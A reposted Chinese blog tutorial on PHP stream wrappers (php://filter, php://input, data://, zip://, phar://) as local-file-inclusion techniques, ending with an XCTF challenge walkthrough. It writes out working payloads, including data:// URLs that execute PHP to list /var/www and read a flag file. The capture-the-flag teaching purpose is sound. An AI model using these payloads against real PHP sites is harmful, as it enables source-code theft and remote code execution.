• php伪协议分析与CTF例题讲解


     
     
     
     
     
     

     本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)

    一,php://  访问输入输出流,有两个常用的子协议

    1,php://filter  设计用来过滤筛选文件

     使用方法:非php语法文件include失败,直接输出源码内容。

    php://filter/resource=需要包含的文件

    还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码

    php://filter/read=convert.base64-encode/resouece=需要包含的文件

    二、php://input

    利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可

     

     

    三、file://  后跟文件目录绝对路径

    file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

    四、phar://  可以查找指定压缩包内的文件

    使用绝对路径与相对路径均可

    五、zip://  用法与phar类似,不过有两点要注意

    1,只能传入绝对路径。

    2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

    六、data  与input 类似,都是用户可以控制传入的php代码

    1,直接写入代码

    data: text/plain,<?php 执行内容 ?>

    2、base64编码后写入代码

    data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

     

    注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

    七、http协议

    include中也可以传入外部链接,采用http://

    关于allow_url_fopenallow_url_include的设置和用法总结:

     

    XCTF例题:

    除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些

    echo $_SERVER['DOCUMENT_ROOT'];

     再查看根目录下有哪些文件:

    http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

    http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

    file_get_contents

    file_get_contents — 将整个文件读入一个字符串

    htmlspecialchars

    htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag

    http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

  • 相关阅读:
    udp用户数据报协议
    java调用url
    mybatis中的#和$的区别
    sun.misc.BASE64Encoder图片编码,并在页面显示
    oracle查看列数据类型
    MyBatis传入多个参数的问题
    ajax详解
    Comparable和Comparator的区别
    谈谈hashcode和equals的用法
    从为什么String=String谈到StringBuilder和StringBuffer
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14392472.html
Copyright © 2020-2023  润新知